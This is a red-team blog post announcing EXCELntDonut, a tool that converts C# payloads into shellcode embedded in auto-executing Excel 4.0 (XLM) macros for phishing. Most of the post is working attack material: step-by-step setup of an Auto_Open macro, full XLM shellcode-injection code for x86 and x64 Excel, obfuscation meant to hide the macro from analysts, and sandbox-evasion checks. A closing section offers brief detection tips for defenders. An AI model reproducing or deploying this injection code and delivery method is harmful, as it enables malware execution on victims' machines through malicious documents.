26 May 2020
tl;dr EXCELntDonut takes C# source code as an input, converts it into shellcode, and generates an XLM (Excel 4.0) macro that will inject the shellcode into memory and execute it. Here is the code repo for EXCELntDonut.
A year-and-a-half ago, Stan Hegt (@StanHacked) and the Outflank team published some awesome research about XLM (Excel 4.0) macros. Here's a few highlights:
The Outflank team took it a couple steps further by demonstrating how XLM (Excel 4.0) macros can be used for lateral movement with the script Excel4-DCOM as well as how they can be included in Sylk files.
Then, the MDSec team updated their payload generation framework, SharpShooter, to include the ability to autogenerate Sylk file payloads.
Despite all that incredible research, we couldn't find a tool to quickly generate XLM macros for use on social engineering assessments.
In the last year, we've watched malware analysts increasingly highlight payloads that contain XLM (Excel 4.0) macros. Here are a few examples: (1) (2) and (3).
Knowing that threat actors are actively exploiting networks with XLM macros, we wanted the ability to replicate our client's actual adversary's TTPs. And so we created EXCELntDonut.
EXCELntDonut takes a C# source code file as input (either a DLL or EXE) and spits out a .txt file containing XLM macro code to copy/paste into an Excel file. When run, the XLM macro will load and execute your .NET assembly in memory.
The first step is to create a C# file with your payload. You can put the payload in the Main() method or any other method you like.*
*A quick note about payloads: we recommend using a parent process spoofing payload to break the Parent > Child relationship within Excel.
When you call EXCELntDonut, you'll need to specify a few flags:
Flags:
(required)
-f path to file containing your C# soure code (exe or dll)
(required for DLL source code)
-c ClassName where method that you want to call lives
*NOTE* The class must be marked as public.
(required for DLL source code)
-m Method containing your executable payload
*NOTE* The method must be marked as public and static.
-r References needed to compile your C# code
(ex: -r 'System.Management')
(optional)
-o output filename
--sandbox
Perform basic sandbox checks.
--obfuscate
Perform basic macro obfuscation.
The "-f" flag is key. This is where you'll pass in the path to your source code. If your source code is for an .exe and your payload is in the Main() method, then you'll skip the "-c" and "-m" flags. If your source code is for a DLL, then you'll need to specify the Class Name (using flag "-c") and the Method Name (using flag "-m") of the method you want to execute. If you need to specify a namespace, you can do that by including it in the "-c" argument (ex: -c 'NameSpace.ClassName').
Next, you'll need to provide the assembly references (via flag "-r") that your source code needs to compile. The file is compiled using mono (mcs). Last, you can optionally specify an output filename, whether to conduct sandbox checks and whether to obfuscate the macro.
Generating the XLM macro will take a couple minutes. Once you have the output file, follow these steps to get the XLM macro into an Excel file:
3. Open your EXCELntDonut output file in a text editor and copy everything.
4. Paste the EXCELntDonut output text in Column A of your XLM Macro sheet.
At this point, everything is in column A. To fix that, we'll use the "Text-to-Columns" tool under the "Data" tab.
5. Highlight column A and open the "Text-to-Columns" tool. Select "Delimited" and then "Semicolon" on the next screen. Select "Finished".
6. Right-click on cell A1* and select "Run". This will execute your payload to make sure it works.
7. To enable auto-execution, we need to rename cell A1* to "Auto_Open". You can do this by clicking into cell A1 and then clicking into the box that says "A1"* just above Column A. Change the text from "A1"* to "Auto_Open". Save the file and verify that auto-execution works.
8. Save your file as .XLS. You could also save as .xlsm, but why?
That's it!
*If you're using the obfuscate flag, after the Text-to-columns operation, your macros won't start in A1. Instead, they'll start at least 100 columns to the right. Scroll horizontally until you see the first cell of text. Let's say that cell is HJ1. If that's the case, then complete steps 6-7 substituting HJ1 for A1.
First, your source code is compiled twice using mono (mcs) into x86 and x64 versions.
Next, those EXEs or DLLs are converted into position independent shellcode using the incredible tool Donut. (Huge shoutout to @TheWover and @odzhan for creating Donut, as well as @byt3bl33d3r for creating the python module). Donut creates position-independent shellcode for loading .NET assemblies into memory. It's an incredible tool.
Then, the shellcode is run through msfvenom to remove null bytes (since those don't play nicely with XLM macros).
After, we iterate through the shellcode letter-by-letter and turn each one into its ASCII integer code. Each ASCII code is put into a =CHAR() function, which allows us to include non-printable characters from our shellcode in the Excel document.
With our shellcode in =CHAR() format, we then work on the Win32 API calls to get our shellcode in memory and execute it.
With XLM macros, we have to register Win32 API function calls to use them. Here's a detailed explanation of how functions are registered.
The shellcode injection functions for x86 looks like this:
=REGISTER("Kernel32","VirtualAlloc","JJJJJ","Valloc",,1,9)
=REGISTER("Kernel32","WriteProcessMemory","JJJCJJ","WProcessMemory",,1,9)
=REGISTER("Kernel32","CreateThread","JJJJJJJ","CThread",,1,9)
The shellcode injection functions for x64 looks like this:
=REGISTER("Kernel32","VirtualAlloc","JJJJJ","Valloc",,1,9)
=REGISTER("Kernel32","RtlCopyMemory","JJCJ","RTL",,1,9)
=REGISTER("Kernel32","QueueUserAPC","JJJJ","Queue",,1,9)
=REGISTER("ntdll","NtTestAlert","J","Go",,1,9)
Note: If you're interested in why the API calls are different for x86 vs. x64, please check out this awesome article by Philip Tsukerman.
=IF(ISNUMBER(SEARCH("32",GET.WORKSPACE(1))),GOTO(A10),GOTO(A21))
Next, we're using the Get.Workspace() function to determine whether Excel is 32-bit or 64-bit.
=Valloc(0,65536,4096,64)
=SELECT(B1:B999,B1)
=SET.VALUE(D1,0)
=WHILE(ACTIVE.CELL()<>"excel")
=SET.VALUE(D2,LEN(ACTIVE.CELL()))
=WProcessMemory(-1,A10+(D1*255),ACTIVE.CELL(),LEN(ACTIVE.CELL()),0)
=SET.VALUE(D1,D1+1)
=SELECT(,"R[1]C")
=NEXT()
=CThread(0,0,A10,0,0,0)
=HALT()
For 32-bit version of Excel, we allocate memory, cycle through all the shellcode in the CHAR() format, use WriteProcessMemory to write the shellcode into the newly allocated space and then call CreateThread to execute it.
1344012288
0
=WHILE(A22=0)
=SET.VALUE(A22,Valloc(A21,65536,12288,64))
=SET.VALUE(A21,A21+262144)
=NEXT()
=REGISTER("Kernel32","RtlCopyMemory","JJCJ","RTL",,1,9)
=REGISTER("Kernel32","QueueUserAPC","JJJJ","Queue",,1,9)
=REGISTER("ntdll","NtTestAlert","J","Go",,1,9)
=SELECT(C1:C3479,C1)
=SET.VALUE(D1,0)
=WHILE(ACTIVE.CELL()<>"EXCEL")
=SET.VALUE(D2,LEN(ACTIVE.CELL()))
=RTL(A22+(D1*10),ACTIVE.CELL(),LEN(ACTIVE.CELL()))
=SET.VALUE(D1,D1+1)
=SELECT(,"R[1]C")
=NEXT()
=Queue(A22,-2,0)
=Go()
=SET.VALUE(A22,0)
=HALT()
The 64-bit version flow is a tad more complicated. Due to the lack of 8-byte integer support in XLM, we first bruteforce an available address in memory between 0x00000000-0xFFFFFFFF. Next, we use RtlCopyMemory to copy over 10 characters at a time into the memory we recently allocated.
Last, we call QueueUserAPC and NtTestAlert to execute our thread. Again, if you're interested in digging a bit more into why we need a different process for 64-bit versions, please check out this article.
The --obfuscate flag provides some basic obfuscation for our XLM macro. First, we automatically move the XLM macros some random amount to the right in our Excel document. This means that instead of an analyst opening up our macro sheet and immediately viewing the macros, they would have to scroll at least 100 columns to the right. Second, all excel functions (including strings like VirtualAlloc) are converted into the same =CHAR() format as the shellcode. So if you run a function like "strings" against the file, you will not see VirtualAlloc. Also, a less sophisticated defender might skip over the bunch of =CHAR() text, thinking it's benign.
This is pretty basic. There's a lot more you can do.
The --sandbox flag provides basic sandbox checks, including the following:
These sandbox checks came from actual malware samples. There's a lot more you could do.
We plan to actively fix bugs/issues with EXCELntDonut; however, we do not plan to release any subsequent feature updates. This tool was designed to help red teams emulate threat actors using XLM macros in phishing campaigns as well as to help defenders test their own security controls. It's our hope that this tool also helps EDR and A/V vendors better signature XLM macros as an attack vector.
To be upfront, we're not defenders, but here's our take:
- Look for a very hidden sheet
- Look for the Auto_Open string (this is key since XLM macros still rely on Auto_open for auto-execution)
- There's a lot of posts about using OLEDUMP.py to review XLM files.
- Look into the XLM macro documentation, specifically the =FORMULA() function, which helps malware authors obfuscate their actions.
- Look for weird Excel Parent>Child process relationships.
6. A lot more is possible with XLM macros, especially regarding process injection methods.
At this point, we'd like to recognize a couple other tools/scripts out there that aim to achieve the same purpose. @bytecod3r created a Python script that places a raw binary into the comments section of an Excel file and then uses XLM macros to execute it. This is a different approach, but worth checking out. While we were putting the finishing touches on this tool/article, Michael Weber came out with Macrome. Michael's tool takes shellcode as an input and generates a ready-to-use Excel document as output. Also, he included a deobfuscation tool for malware analysis. At the moment, his tool does not support x64 architectures or any input other than pre-generated shellcode, but the tool looks pretty awesome.
This post was written by Joe Leon (@JoeLeonJr).